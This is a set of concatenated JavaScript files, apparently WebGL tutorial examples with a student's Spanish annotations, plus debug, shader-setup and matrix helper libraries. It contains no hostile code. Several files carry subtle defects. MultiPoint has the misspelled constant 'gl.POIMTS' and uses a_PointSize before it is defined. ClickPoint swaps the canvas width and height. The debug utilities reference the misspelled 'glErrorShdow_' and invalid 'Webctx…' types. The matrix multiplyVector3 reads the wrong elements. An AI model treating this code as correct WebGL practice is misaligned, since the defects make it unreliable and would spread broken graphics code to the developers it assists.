var rect = ev.target.getBoundingClientRect();
x = ((x - rect.left) - canvas.width/2)/(canvas.width/2);
y = (canvas.height/2 - (y - rect.top))/(canvas.height/2);
// Store the coordinates to g_points array
g_points.push([x, y]);
// Store the color to g_colors array
if(x >= 0.0 && y >= 0.0) { // First quadrant
g_colors.push([1.0, 0.0, 0.0, 1.0]); // Red
} else if(x < 0.0 && y < 0.0) { // Third quadrant
g_colors.push([0.0, 1.0, 0.0, 1.0]); // Green
} else { // Others
g_colors.push([1.0, 1.0, 1.0, 1.0]); // White
}
// Clear <canvas>
gl.clear(gl.COLOR_BUFFER_BIT);
var len = g_points.length;
for(var i = 0; i < len; i++) {
var xy = g_points[i];
var rgba = g_colors[i];
// Pass the position of a point to a_Position variable
gl.vertexAttrib3f(a_Position, xy[0], xy[1], 0.0);
// Pass the color of a point to u_FragColor variable
gl.uniform4f(u_FragColor, rgba[0],rgba[1],rgba[2],rgba[3]); //<-(3)
// Draw a point
gl.drawArrays(gl.POINTS, 0, 1);
}
} | JavaScript |
// HelloPoint1.js
// Vertex shader program
var VSHADER_SOURCE =
'void main() {\n' +
' gl_Position = vec4(0.0, 0.0, -1.0, 1.0);\n' + // Coordinates
' gl_PointSize = 10.0;\n' + // Set the point size
'}\n';
// Fragment shader program
var FSHADER_SOURCE =
'void main() {\n' +
' gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0);\n' + // Set the color
'}\n';
function main() {
// Retrieve <canvas> element
var canvas = document.getElementById('webgl');
// Get the rendering context for WebGL
var gl = getWebGLContext(canvas);
if (!gl) {
console.log('Failed to get the rendering context for WebGL');
return;
}
// Initialize shaders
if (!initShaders(gl, VSHADER_SOURCE, FSHADER_SOURCE)) {
console.log('Failed to initialize shaders.');
return;
}
// Set the color for clearing <canvas>
gl.clearColor(0.0, 0.0, 0.0, 1.0);
// Clear <canvas>
gl.clear(gl.COLOR_BUFFER_BIT);
// Draw a point
gl.drawArrays(gl.POINTS, 0, 1);
} | JavaScript |
// HelloCanvas.js
function main() {
// Retrieve <canvas> element
var canvas = document.getElementById('webgl');
// Get the rendering context for WebGL
var gl = getWebGLContext(canvas);
if (!gl) {
console.log('Failed to get the rendering context for WebGL');
return;
}
// Specify the color for clearing <canvas>
gl.clearColor(0.0, 0.0, 0.0, 1.0);
// Clear <canvas>
gl.clear(gl.COLOR_BUFFER_BIT);
} | JavaScript |
// DrawRectangle.js
function main() {
// Retrieve <canvas> element <- (1)
var canvas = document.getElementById('example');
if (!canvas) {
console.log('Failed to retrieve the <canvas> element');
return;
}
// Get the rendering context for 2DCG <- (2)
var ctx = canvas.getContext('2d');
// Draw a blue rectangle <- (3)
ctx.fillStyle = 'rgba(0, 0, 255, 1.0)'; // Set a blue color
ctx.fillRect(120, 10, 150, 150); // Fill a rectangle with the color
} | JavaScript |
// MultiPoint.js
// Vertex shader program
var VSHADER_SOURCE =
'attribute vec4 a_Position;\n' +
'attribute float a_PointSize;\n' +
'void main() {\n' +
' gl_Position = a_Position;\n' +
' gl_PointSize = a_PointSize;\n' +
'}\n';
// Fragment shader program
var FSHADER_SOURCE =
'void main() {\n' +
' gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0);\n' + // Set the color
'}\n';
function main() {
// Retrieve <canvas> element
var canvas = document.getElementById('webgl');
// Get the rendering context for WebGL
var gl = getWebGLContext(canvas);
var gl = getWebGLContext(canvas);
if (!gl) {
console.log('Failed to get the rendering context for WebGL');
return;
}
// Initialize shaders
if (!initShaders(gl, VSHADER_SOURCE, FSHADER_SOURCE)) {
console.log('Failed to initialize shaders.');
return;
}
// Set the positions of vertices
var n = initVertexBuffers(gl);
if (n < 0) {
console.log('Failed to set the positions of the vertices');
return;
}
// Set the color for clearing <canvas>
gl.clearColor(0.0, 0.0, 0.0, 1.0);
// Clear <canvas>
gl.clear(gl.COLOR_BUFFER_BIT);
// Draw three points
gl.drawArrays(gl.POIMTS, 0, n); // n is 3
}
function initVertexBuffers(gl) {
var n = 3; // The number of vertices
//------------------------------
//****** ARRAY DE VERTICES
//------------------------------
var vertices = new Float32Array(
[.0, 0.5, -0.5, -0.5, 0.5, -0.5]);
// Create a buffer object
var vertexBuffer = gl.createBuffer();
if (!vertexBuffer) {
console.log('Failed to create the buffer object of vertexes');
return -1;
}
var ratiusBuffer = gl.createBuffer();
if (!ratiusBuffer) {
console.log('Failed to create the buffer object of ratiuses');
return -1;
}
// Bind the buffer object to target
gl.bindBuffer(gl.ARRAY_BUFFER, vertexBuffer);
// Write date into the buffer objects
gl.bufferData(gl.ARRAY_BUFFER, vertices, gl.STATIC_DRAW);
var a_Position = gl.getAttribLocation(gl.program, 'a_Position');
if (a_Position < 0) {
console.log('Failed to get the storage location of a_Position');
return;
}
// Assign the buffer object to a_Position variable
gl.vertexAttribPointer(a_PointSize, 2, gl.FLOAT, false, 0, 0);
// Enable the assignment to a_Position variable
gl.enableVertexAttribArray(a_Position);
//------------------------------
//******* ARRAY DE TAMAÑOS
//------------------------------
var radios = new Float32Array(
[10.0, 20.0, 30.0]);
// Bind the buffer object to target ratiuses
gl.bindBuffer(gl.ARRAY_BUFFER, ratiusBuffer);
// Write date into the buffer objects ratiuses
gl.bufferData(gl.ARRAY_BUFFER, radios, gl.STATIC_DRAW);
var a_PointSize = gl.getAttribLocation(gl.program, 'a_PointSize');
if (a_PointSize < 0) {
console.log('Failed to get the storage location of a_PointSize');
return;
}
// COMO QUE ESTO HACE UNA COLA DE VALORES PARA LA VARIABLE
//------ PLANIFICA UN VOLCADO DEL BUFER
// Assign the buffer object to a_PointSize variable
gl.vertexAttribPointer(a_PointSize, 1, gl.FLOAT, false, 0, 0);
// Enable the assignment to a_Position variable
gl.enableVertexAttribArray(a_PointSize);
return n;
} | JavaScript |
// ClickPoint.js
// Vertex shader program
var VSHADER_SOURCE =
'attribute vec4 a_Position;\n' +
'void main() {\n' +
' gl_Position = a_Position;\n' +
' gl_PointSize = 10.0;\n' +
'}\n';
// Fragment shader program
var FSHADER_SOURCE =
'void main() {\n' +
' gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0);\n' + // Set the color
'}\n';
function main() {
// Retrieve <canvas> element
var canvas = document.getElementById('webgl');
// Get the rendering context for WebGL
var gl = getWebGLContext(canvas);
if (!gl) {
console.log('Failed to get the rendering context for WebGL');
return;
}
// Initialize shaders
if (!initShaders(gl, VSHADER_SOURCE, FSHADER_SOURCE)) {
console.log('Failed to initialize shaders.');
return;
}
// Get the storage location of attribute variable
var a_Position = gl.getAttribLocation(gl.program, 'a_Position');
if (a_Position < 0) {
console.log('Failed to get the storage location of a_Position');
return;
}
// Register function (event handler) to be called on a mouse press
canvas.onmousedown = function(ev) { click(ev, gl, canvas, a_Position); };
// Pass vertex position to attribute variable
gl.vertexAttrib3f(a_Position, 0.0, 0.5, 0.0);
// Set the color for clearing <canvas>
gl.clearColor(0.0, 0.0, 0.0, 1.0);
// Clear <canvas>
gl.clear(gl.COLOR_BUFFER_BIT);
// Draw a point
gl.drawArrays(gl.POINTS, 0, 1);
}
var g_points = []; // The array for a mouse press
function click(ev, gl, canvas, a_Position) {
var x = ev.clientX; // x coordinate of a mouse pointer
var y = ev.clientY; // y coordinate of a mouse pointer
var rect = ev.target.getBoundingClientRect();
x = ((x - rect.left) - canvas.height/2)/(canvas.height/2);
y = (canvas.width/2 - (y - rect.top))/(canvas.width/2);
// Store the coordinates to g_points array
//g_points.push(x); g_points.push(y);
g_points.push([x, y]);
// Clear <canvas>
gl.clear(gl.COLOR_BUFFER_BIT);
var len = g_points.length;
for(var i = 0; i < len; i++){//i+=2) {
// Pass the position of a point to a_Position variable
//gl.vertexAttrib3f(a_Position, g_points[i], g_points[i+1], 0.0);
var xy = g_points[i];
gl.vertexAttrib3f(a_Position, xy[0], xy[1], 0.0);
// Draw a point
gl.drawArrays(gl.POINTS, 0, 1);
}
} | JavaScript |
//Copyright (c) 2009 The Chromium Authors. All rights reserved.
//Use of this source code is governed by a BSD-style license that can be
//found in the LICENSE file.
// Various functions for helping debug WebGL apps.
WebGLDebugUtils = function() {
/**
* Wrapped logging function.
* @param {string} msg Message to log.
*/
var log = function(msg) {
if (window.console && window.console.log) {
window.console.log(msg);
}
};
/**
* Which arguements are enums.
* @type {!Object.<number, string>}
*/
var glValidEnumContexts = {
// Generic setters and getters
'enable': { 0:true },
'disable': { 0:true },
'getParameter': { 0:true },
// Rendering
'drawArrays': { 0:true },
'drawElements': { 0:true, 2:true },
// Shaders
'createShader': { 0:true },
'getShaderParameter': { 1:true },
'getProgramParameter': { 1:true },
// Vertex attributes
'getVertexAttrib': { 1:true },
'vertexAttribPointer': { 2:true },
// Textures
'bindTexture': { 0:true },
'activeTexture': { 0:true },
'getTexParameter': { 0:true, 1:true },
'texParameterf': { 0:true, 1:true },
'texParameteri': { 0:true, 1:true, 2:true },
'texImage2D': { 0:true, 2:true, 6:true, 7:true },
'texSubImage2D': { 0:true, 6:true, 7:true },
'copyTexImage2D': { 0:true, 2:true },
'copyTexSubImage2D': { 0:true },
'generateMipmap': { 0:true },
// Buffer objects
'bindBuffer': { 0:true },
'bufferData': { 0:true, 2:true },
'bufferSubData': { 0:true },
'getBufferParameter': { 0:true, 1:true },
// Renderbuffers and framebuffers
'pixelStorei': { 0:true, 1:true },
'readPixels': { 4:true, 5:true },
'bindRenderbuffer': { 0:true },
'bindFramebuffer': { 0:true },
'checkFramebufferStatus': { 0:true },
'framebufferRenderbuffer': { 0:true, 1:true, 2:true },
'framebufferTexture2D': { 0:true, 1:true, 2:true },
'getFramebufferAttachmentParameter': { 0:true, 1:true, 2:true },
'getRenderbufferParameter': { 0:true, 1:true },
'renderbufferStorage': { 0:true, 1:true },
// Frame buffer operations (clear, blend, depth test, stencil)
'clear': { 0:true },
'depthFunc': { 0:true },
'blendFunc': { 0:true, 1:true },
'blendFuncSeparate': { 0:true, 1:true, 2:true, 3:true },
'blendEquation': { 0:true },
'blendEquationSeparate': { 0:true, 1:true },
'stencilFunc': { 0:true },
'stencilFuncSeparate': { 0:true, 1:true },
'stencilMaskSeparate': { 0:true },
'stencilOp': { 0:true, 1:true, 2:true },
'stencilOpSeparate': { 0:true, 1:true, 2:true, 3:true },
// Culling
'cullFace': { 0:true },
'frontFace': { 0:true },
};
/**
* Map of numbers to names.
* @type {Object}
*/
var glEnums = null;
/**
* Initializes this module. Safe to call more than once.
* @param {!WebGLRenderingContext} ctx A WebGL context. If
* you have more than one context it doesn't matter which one
* you pass in, it is only used to pull out constants.
*/
function init(ctx) {
if (glEnums == null) {
glEnums = { };
for (var propertyName in ctx) {
if (typeof ctx[propertyName] == 'number') {
glEnums[ctx[propertyName]] = propertyName;
}
}
}
}
/**
* Checks the utils have been initialized.
*/
function checkInit() {
if (glEnums == null) {
throw 'WebGLDebugUtils.init(ctx) not called';
}
}
/**
* Returns true or false if value matches any WebGL enum
* @param {*} value Value to check if it might be an enum.
* @return {boolean} True if value matches one of the WebGL defined enums
*/
function mightBeEnum(value) {
checkInit();
return (glEnums[value] !== undefined);
}
/**
* Gets an string version of an WebGL enum.
*
* Example:
* var str = WebGLDebugUtil.glEnumToString(ctx.getError());
*
* @param {number} value Value to return an enum for
* @return {string} The string version of the enum.
*/
function glEnumToString(value) {
checkInit();
var name = glEnums[value];
return (name !== undefined) ? name :
("*UNKNOWN WebGL ENUM (0x" + value.toString(16) + ")");
}
/**
* Returns the string version of a WebGL argument.
* Attempts to convert enum arguments to strings.
* @param {string} functionName the name of the WebGL function.
* @param {number} argumentIndx the index of the argument.
* @param {*} value The value of the argument.
* @return {string} The value as a string.
*/
function glFunctionArgToString(functionName, argumentIndex, value) {
var funcInfo = glValidEnumContexts[functionName];
if (funcInfo !== undefined) {
if (funcInfo[argumentIndex]) {
return glEnumToString(value);
}
}
return value.toString();
}
/**
* Given a WebGL context returns a wrapped context that calls
* gl.getError after every command and calls a function if the
* result is not gl.NO_ERROR.
*
* @param {!WebGLRenderingContext} ctx The webgl context to
* wrap.
* @param {!function(err, funcName, args): void} opt_onErrorFunc
* The function to call when gl.getError returns an
* error. If not specified the default function calls
* console.log with a message.
*/
function makeDebugContext(ctx, opt_onErrorFunc) {
init(ctx);
opt_onErrorFunc = opt_onErrorFunc || function(err, functionName, args) {
// apparently we can't do args.join(",");
var argStr = "";
for (var ii = 0; ii < args.length; ++ii) {
argStr += ((ii == 0) ? '' : ', ') +
glFunctionArgToString(functionName, ii, args[ii]);
}
log("WebGL error "+ glEnumToString(err) + " in "+ functionName +
"(" + argStr + ")");
};
// Holds booleans for each GL error so after we get the error ourselves
// we can still return it to the client app.
var glErrorShadow = { };
// Makes a function that calls a WebGL function and then calls getError.
function makeErrorWrapper(ctx, functionName) {
return function() {
var result = ctx[functionName].apply(ctx, arguments);
var err = ctx.getError();
if (err != 0) {
glErrorShadow[err] = true;
opt_onErrorFunc(err, functionName, arguments);
}
return result;
};
}
// Make a an object that has a copy of every property of the WebGL context
// but wraps all functions.
var wrapper = {};
for (var propertyName in ctx) {
if (typeof ctx[propertyName] == 'function') {
wrapper[propertyName] = makeErrorWrapper(ctx, propertyName);
} else {
wrapper[propertyName] = ctx[propertyName];
}
}
// Override the getError function with one that returns our saved results.
wrapper.getError = function() {
for (var err in glErrorShadow) {
if (glErrorShadow[err]) {
glErrorShadow[err] = false;
return err;
}
}
return ctx.NO_ERROR;
};
return wrapper;
}
function resetToInitialState(ctx) {
var numAttribs = ctx.getParameter(ctx.MAX_VERTEX_ATTRIBS);
var tmp = ctx.createBuffer();
ctx.bindBuffer(ctx.ARRAY_BUFFER, tmp);
for (var ii = 0; ii < numAttribs; ++ii) {
ctx.disableVertexAttribArray(ii);
ctx.vertexAttribPointer(ii, 4, ctx.FLOAT, false, 0, 0);
ctx.vertexAttrib1f(ii, 0);
}
ctx.deleteBuffer(tmp);
var numTextureUnits = ctx.getParameter(ctx.MAX_TEXTURE_IMAGE_UNITS);
for (var ii = 0; ii < numTextureUnits; ++ii) {
ctx.activeTexture(ctx.TEXTURE0 + ii);
ctx.bindTexture(ctx.TEXTURE_CUBE_MAP, null);
ctx.bindTexture(ctx.TEXTURE_2D, null);
}
ctx.activeTexture(ctx.TEXTURE0);
ctx.useProgram(null);
ctx.bindBuffer(ctx.ARRAY_BUFFER, null);
ctx.bindBuffer(ctx.ELEMENT_ARRAY_BUFFER, null);
ctx.bindFramebuffer(ctx.FRAMEBUFFER, null);
ctx.bindRenderbuffer(ctx.RENDERBUFFER, null);
ctx.disable(ctx.BLEND);
ctx.disable(ctx.CULL_FACE);
ctx.disable(ctx.DEPTH_TEST);
ctx.disable(ctx.DITHER);
ctx.disable(ctx.SCISSOR_TEST);
ctx.blendColor(0, 0, 0, 0);
ctx.blendEquation(ctx.FUNC_ADD);
ctx.blendFunc(ctx.ONE, ctx.ZERO);
ctx.clearColor(0, 0, 0, 0);
ctx.clearDepth(1);
ctx.clearStencil(-1);
ctx.colorMask(true, true, true, true);
ctx.cullFace(ctx.BACK);
ctx.depthFunc(ctx.LESS);
ctx.depthMask(true);
ctx.depthRange(0, 1);
ctx.frontFace(ctx.CCW);
ctx.hint(ctx.GENERATE_MIPMAP_HINT, ctx.DONT_CARE);
ctx.lineWidth(1);
ctx.pixelStorei(ctx.PACK_ALIGNMENT, 4);
ctx.pixelStorei(ctx.UNPACK_ALIGNMENT, 4);
ctx.pixelStorei(ctx.UNPACK_FLIP_Y_WEBGL, false);
ctx.pixelStorei(ctx.UNPACK_PREMULTIPLY_ALPHA_WEBGL, false);
// TODO: Delete this IF.
if (ctx.UNPACK_COLORSPACE_CONVERSION_WEBGL) {
ctx.pixelStorei(ctx.UNPACK_COLORSPACE_CONVERSION_WEBGL, ctx.BROWSER_DEFAULT_WEBGL);
}
ctx.polygonOffset(0, 0);
ctx.sampleCoverage(1, false);
ctx.scissor(0, 0, ctx.canvas.width, ctx.canvas.height);
ctx.stencilFunc(ctx.ALWAYS, 0, 0xFFFFFFFF);
ctx.stencilMask(0xFFFFFFFF);
ctx.stencilOp(ctx.KEEP, ctx.KEEP, ctx.KEEP);
ctx.viewport(0, 0, ctx.canvas.clientWidth, ctx.canvas.clientHeight);
ctx.clear(ctx.COLOR_BUFFER_BIT | ctx.DEPTH_BUFFER_BIT | ctx.STENCIL_BUFFER_BIT);
// TODO: This should NOT be needed but Firefox fails with 'hint'
while(ctx.getError());
}
function makeLostContextSimulatingContext(ctx) {
var wrapper_ = {};
var contextId_ = 1;
var contextLost_ = false;
var resourceId_ = 0;
var resourceDb_ = [];
var onLost_ = undefined;
var onRestored_ = undefined;
var nextOnRestored_ = undefined;
// Holds booleans for each GL error so can simulate errors.
var glErrorShadow_ = { };
function isWebGLObject(obj) {
//return false;
return (obj instanceof WebGLBuffer ||
obj instanceof WebGLFramebuffer ||
obj instanceof WebGLProgram ||
obj instanceof WebGLRenderbuffer ||
obj instanceof WebGLShader ||
obj instanceof WebGLTexture);
}
function checkResources(args) {
for (var ii = 0; ii < args.length; ++ii) {
var arg = args[ii];
if (isWebGLObject(arg)) {
return arg.__webglDebugContextLostId__ == contextId_;
}
}
return true;
}
function clearErrors() {
var k = Object.keys(glErrorShadow_);
for (var ii = 0; ii < k.length; ++ii) {
delete glErrorShdow_[k];
}
}
// Makes a function that simulates WebGL when out of context.
function makeLostContextWrapper(ctx, functionName) {
var f = ctx[functionName];
return function() {
// Only call the functions if the context is not lost.
if (!contextLost_) {
if (!checkResources(arguments)) {
glErrorShadow_[ctx.INVALID_OPERATION] = true;
return;
}
var result = f.apply(ctx, arguments);
return result;
}
};
}
for (var propertyName in ctx) {
if (typeof ctx[propertyName] == 'function') {
wrapper_[propertyName] = makeLostContextWrapper(ctx, propertyName);
} else {
wrapper_[propertyName] = ctx[propertyName];
}
}
function makeWebGLContextEvent(statusMessage) {
return {statusMessage: statusMessage};
}
function freeResources() {
for (var ii = 0; ii < resourceDb_.length; ++ii) {
var resource = resourceDb_[ii];
if (resource instanceof WebGLBuffer) {
ctx.deleteBuffer(resource);
} else if (resource instanceof WebctxFramebuffer) {
ctx.deleteFramebuffer(resource);
} else if (resource instanceof WebctxProgram) {
ctx.deleteProgram(resource);
} else if (resource instanceof WebctxRenderbuffer) {
ctx.deleteRenderbuffer(resource);
} else if (resource instanceof WebctxShader) {
ctx.deleteShader(resource);
} else if (resource instanceof WebctxTexture) {
ctx.deleteTexture(resource);
}
}
}
wrapper_.loseContext = function() {
if (!contextLost_) {
contextLost_ = true;
++contextId_;
while (ctx.getError());
clearErrors();
glErrorShadow_[ctx.CONTEXT_LOST_WEBGL] = true;
setTimeout(function() {
if (onLost_) {
onLost_(makeWebGLContextEvent("context lost"));
}
}, 0);
}
};
wrapper_.restoreContext = function() {
if (contextLost_) {
if (onRestored_) {
setTimeout(function() {
freeResources();
resetToInitialState(ctx);
contextLost_ = false;
if (onRestored_) {
var callback = onRestored_;
onRestored_ = nextOnRestored_;
nextOnRestored_ = undefined;
callback(makeWebGLContextEvent("context restored"));
}
}, 0);
} else {
throw "You can not restore the context without a listener"
}
}
};
// Wrap a few functions specially.
wrapper_.getError = function() {
if (!contextLost_) {
var err;
while (err = ctx.getError()) {
glErrorShadow_[err] = true;
}
}
for (var err in glErrorShadow_) {
if (glErrorShadow_[err]) {
delete glErrorShadow_[err];
return err;
}
}
return ctx.NO_ERROR;
};
var creationFunctions = [
"createBuffer",
"createFramebuffer",
"createProgram",
"createRenderbuffer",
"createShader",
"createTexture"
];
for (var ii = 0; ii < creationFunctions.length; ++ii) {
var functionName = creationFunctions[ii];
wrapper_[functionName] = function(f) {
return function() {
if (contextLost_) {
return null;
}
var obj = f.apply(ctx, arguments);
obj.__webglDebugContextLostId__ = contextId_;
resourceDb_.push(obj);
return obj;
};
}(ctx[functionName]);
}
var functionsThatShouldReturnNull = [
"getActiveAttrib",
"getActiveUniform",
"getBufferParameter",
"getContextAttributes",
"getAttachedShaders",
"getFramebufferAttachmentParameter",
"getParameter",
"getProgramParameter",
"getProgramInfoLog",
"getRenderbufferParameter",
"getShaderParameter",
"getShaderInfoLog",
"getShaderSource",
"getTexParameter",
"getUniform",
"getUniformLocation",
"getVertexAttrib"
];
for (var ii = 0; ii < functionsThatShouldReturnNull.length; ++ii) {
var functionName = functionsThatShouldReturnNull[ii];
wrapper_[functionName] = function(f) {
return function() {
if (contextLost_) {
return null;
}
return f.apply(ctx, arguments);
}
}(wrapper_[functionName]);
}
var isFunctions = [
"isBuffer",
"isEnabled",
"isFramebuffer",
"isProgram",
"isRenderbuffer",
"isShader",
"isTexture"
];
for (var ii = 0; ii < isFunctions.length; ++ii) {
var functionName = isFunctions[ii];
wrapper_[functionName] = function(f) {
return function() {
if (contextLost_) {
return false;
}
return f.apply(ctx, arguments);
}
}(wrapper_[functionName]);
}
wrapper_.checkFramebufferStatus = function(f) {
return function() {
if (contextLost_) {
return ctx.FRAMEBUFFER_UNSUPPORTED;
}
return f.apply(ctx, arguments);
};
}(wrapper_.checkFramebufferStatus);
wrapper_.getAttribLocation = function(f) {
return function() {
if (contextLost_) {
return -1;
}
return f.apply(ctx, arguments);
};
}(wrapper_.getAttribLocation);
wrapper_.getVertexAttribOffset = function(f) {
return function() {
if (contextLost_) {
return 0;
}
return f.apply(ctx, arguments);
};
}(wrapper_.getVertexAttribOffset);
wrapper_.isContextLost = function() {
return contextLost_;
};
function wrapEvent(listener) {
if (typeof(listener) == "function") {
return listener;
} else {
return function(info) {
listener.handleEvent(info);
}
}
}
wrapper_.registerOnContextLostListener = function(listener) {
onLost_ = wrapEvent(listener);
};
wrapper_.registerOnContextRestoredListener = function(listener) {
if (contextLost_) {
nextOnRestored_ = wrapEvent(listener);
} else {
onRestored_ = wrapEvent(listener);
}
}
return wrapper_;
}
return {
/**
* Initializes this module. Safe to call more than once.
* @param {!WebGLRenderingContext} ctx A WebGL context. If
* you have more than one context it doesn't matter which one
* you pass in, it is only used to pull out constants.
*/
'init': init,
/**
* Returns true or false if value matches any WebGL enum
* @param {*} value Value to check if it might be an enum.
* @return {boolean} True if value matches one of the WebGL defined enums
*/
'mightBeEnum': mightBeEnum,
/**
* Gets an string version of an WebGL enum.
*
* Example:
* WebGLDebugUtil.init(ctx);
* var str = WebGLDebugUtil.glEnumToString(ctx.getError());
*
* @param {number} value Value to return an enum for
* @return {string} The string version of the enum.
*/
'glEnumToString': glEnumToString,
/**
* Converts the argument of a WebGL function to a string.
* Attempts to convert enum arguments to strings.
*
* Example:
* WebGLDebugUtil.init(ctx);
* var str = WebGLDebugUtil.glFunctionArgToString('bindTexture', 0, gl.TEXTURE_2D);
*
* would return 'TEXTURE_2D'
*
* @param {string} functionName the name of the WebGL function.
* @param {number} argumentIndx the index of the argument.
* @param {*} value The value of the argument.
* @return {string} The value as a string.
*/
'glFunctionArgToString': glFunctionArgToString,
/**
* Given a WebGL context returns a wrapped context that calls
* gl.getError after every command and calls a function if the
* result is not NO_ERROR.
*
* You can supply your own function if you want. For example, if you'd like
* an exception thrown on any GL error you could do this
*
* function throwOnGLError(err, funcName, args) {
* throw WebGLDebugUtils.glEnumToString(err) + " was caused by call to" +
* funcName;
* };
*
* ctx = WebGLDebugUtils.makeDebugContext(
* canvas.getContext("webgl"), throwOnGLError);
*
* @param {!WebGLRenderingContext} ctx The webgl context to wrap.
* @param {!function(err, funcName, args): void} opt_onErrorFunc The function
* to call when gl.getError returns an error. If not specified the default
* function calls console.log with a message.
*/
'makeDebugContext': makeDebugContext,
/**
* Given a WebGL context returns a wrapped context that adds 4
* functions.
*
* ctx.loseContext:
* simulates a lost context event.
*
* ctx.restoreContext:
* simulates the context being restored.
*
* ctx.registerOnContextLostListener(listener):
* lets you register a listener for context lost. Use instead
* of addEventListener('webglcontextlostevent', listener);
*
* ctx.registerOnContextRestoredListener(listener):
* lets you register a listener for context restored. Use
* instead of addEventListener('webglcontextrestored',
* listener);
*
* @param {!WebGLRenderingContext} ctx The webgl context to wrap.
*/
'makeLostContextSimulatingContext': makeLostContextSimulatingContext,
/**
* Resets a context to the initial state.
* @param {!WebGLRenderingContext} ctx The webgl context to
* reset.
*/
'resetToInitialState': resetToInitialState
};
}();
| JavaScript |
// cuon-utils.js (c) 2012 kanda and matsuda
/**
* Create a program object and make current
* @param gl GL context
* @param vshader a vertex shader program (string)
* @param fshader a fragment shader program (string)
* @return true, if the program object was created and successfully made current
*/
function initShaders(gl, vshader, fshader) {
var program = createProgram(gl, vshader, fshader);
if (!program) {
console.log('Failed to create program');
return false;
}
gl.useProgram(program);
gl.program = program;
return true;
}
/**
* Create the linked program object
* @param gl GL context
* @param vshader a vertex shader program (string)
* @param fshader a fragment shader program (string)
* @return created program object, or null if the creation has failed
*/
function createProgram(gl, vshader, fshader) {
// Create shader object
var vertexShader = loadShader(gl, gl.VERTEX_SHADER, vshader);
var fragmentShader = loadShader(gl, gl.FRAGMENT_SHADER, fshader);
if (!vertexShader || !fragmentShader) {
return null;
}
// Create a program object
var program = gl.createProgram();
if (!program) {
return null;
}
// Attach the shader objects
gl.attachShader(program, vertexShader);
gl.attachShader(program, fragmentShader);
// Link the program object
gl.linkProgram(program);
// Check the result of linking
var linked = gl.getProgramParameter(program, gl.LINK_STATUS);
if (!linked) {
var error = gl.getProgramInfoLog(program);
console.log('Failed to link program: ' + error);
gl.deleteProgram(program);
gl.deleteShader(fragmentShader);
gl.deleteShader(vertexShader);
return null;
}
return program;
}
/**
* Create a shader object
* @param gl GL context
* @param type the type of the shader object to be created
* @param source shader program (string)
* @return created shader object, or null if the creation has failed.
*/
function loadShader(gl, type, source) {
// Create shader object
var shader = gl.createShader(type);
if (shader == null) {
console.log('unable to create shader');
return null;
}
// Set the shader program
gl.shaderSource(shader, source);
// Compile the shader
gl.compileShader(shader);
// Check the result of compilation
var compiled = gl.getShaderParameter(shader, gl.COMPILE_STATUS);
if (!compiled) {
var error = gl.getShaderInfoLog(shader);
console.log('Failed to compile shader: ' + error);
gl.deleteShader(shader);
return null;
}
return shader;
}
/**
* Initialize and get the rendering for WebGL
* @param canvas <cavnas> element
* @param opt_debug flag to initialize the context for debugging
* @return the rendering context for WebGL
*/
function getWebGLContext(canvas, opt_debug) {
// Get the rendering context for WebGL
var gl = WebGLUtils.setupWebGL(canvas);
if (!gl) return null;
// if opt_debug is explicitly false, create the context for debugging
if (arguments.length < 2 || opt_debug) {
gl = WebGLDebugUtils.makeDebugContext(gl);
}
return gl;
}
| JavaScript |
// cuon-matrix.js (c) 2012 kanda and matsuda
/**
* This is a class treating 4x4 matrix.
* This class contains the function that is equivalent to OpenGL matrix stack.
* The matrix after conversion is calculated by multiplying a conversion matrix from the right.
* The matrix is replaced by the calculated result.
*/
/**
* Constructor of Matrix4
* If opt_src is specified, new matrix is initialized by opt_src.
* Otherwise, new matrix is initialized by identity matrix.
* @param opt_src source matrix(option)
*/
var Matrix4 = function(opt_src) {
var i, s, d;
if (opt_src && typeof opt_src === 'object' && opt_src.hasOwnProperty('elements')) {
s = opt_src.elements;
d = new Float32Array(16);
for (i = 0; i < 16; ++i) {
d[i] = s[i];
}
this.elements = d;
} else {
this.elements = new Float32Array([1,0,0,0, 0,1,0,0, 0,0,1,0, 0,0,0,1]);
}
};
/**
* Set the identity matrix.
* @return this
*/
Matrix4.prototype.setIdentity = function() {
var e = this.elements;
e[0] = 1; e[4] = 0; e[8] = 0; e[12] = 0;
e[1] = 0; e[5] = 1; e[9] = 0; e[13] = 0;
e[2] = 0; e[6] = 0; e[10] = 1; e[14] = 0;
e[3] = 0; e[7] = 0; e[11] = 0; e[15] = 1;
return this;
};
/**
* Copy matrix.
* @param src source matrix
* @return this
*/
Matrix4.prototype.set = function(src) {
var i, s, d;
s = src.elements;
d = this.elements;
if (s === d) {
return;
}
for (i = 0; i < 16; ++i) {
d[i] = s[i];
}
return this;
};
/**
* Multiply the matrix from the right.
* @param other The multiply matrix
* @return this
*/
Matrix4.prototype.concat = function(other) {
var i, e, a, b, ai0, ai1, ai2, ai3;
// Calculate e = a * b
e = this.elements;
a = this.elements;
b = other.elements;
// If e equals b, copy b to temporary matrix.
if (e === b) {
b = new Float32Array(16);
for (i = 0; i < 16; ++i) {
b[i] = e[i];
}
}
for (i = 0; i < 4; i++) {
ai0=a[i]; ai1=a[i+4]; ai2=a[i+8]; ai3=a[i+12];
e[i] = ai0 * b[0] + ai1 * b[1] + ai2 * b[2] + ai3 * b[3];
e[i+4] = ai0 * b[4] + ai1 * b[5] + ai2 * b[6] + ai3 * b[7];
e[i+8] = ai0 * b[8] + ai1 * b[9] + ai2 * b[10] + ai3 * b[11];
e[i+12] = ai0 * b[12] + ai1 * b[13] + ai2 * b[14] + ai3 * b[15];
}
return this;
};
Matrix4.prototype.multiply = Matrix4.prototype.concat;
/**
* Multiply the three-dimensional vector.
* @param pos The multiply vector
* @return The result of multiplication(Float32Array)
*/
Matrix4.prototype.multiplyVector3 = function(pos) {
var e = this.elements;
var p = pos.elements;
var v = new Vector3();
var result = v.elements;
result[0] = p[0] * e[0] + p[1] * e[4] + p[2] * e[ 8] + e[11];
result[1] = p[0] * e[1] + p[1] * e[5] + p[2] * e[ 9] + e[12];
result[2] = p[0] * e[2] + p[1] * e[6] + p[2] * e[10] + e[13];
return v;
};
/**
* Multiply the four-dimensional vector.
* @param pos The multiply vector
* @return The result of multiplication(Float32Array)
*/
Matrix4.prototype.multiplyVector4 = function(pos) {
var e = this.elements;
var p = pos.elements;
var v = new Vector4();
var result = v.elements;
result[0] = p[0] * e[0] + p[1] * e[4] + p[2] * e[ 8] + p[3] * e[12];
result[1] = p[0] * e[1] + p[1] * e[5] + p[2] * e[ 9] + p[3] * e[13];
result[2] = p[0] * e[2] + p[1] * e[6] + p[2] * e[10] + p[3] * e[14];
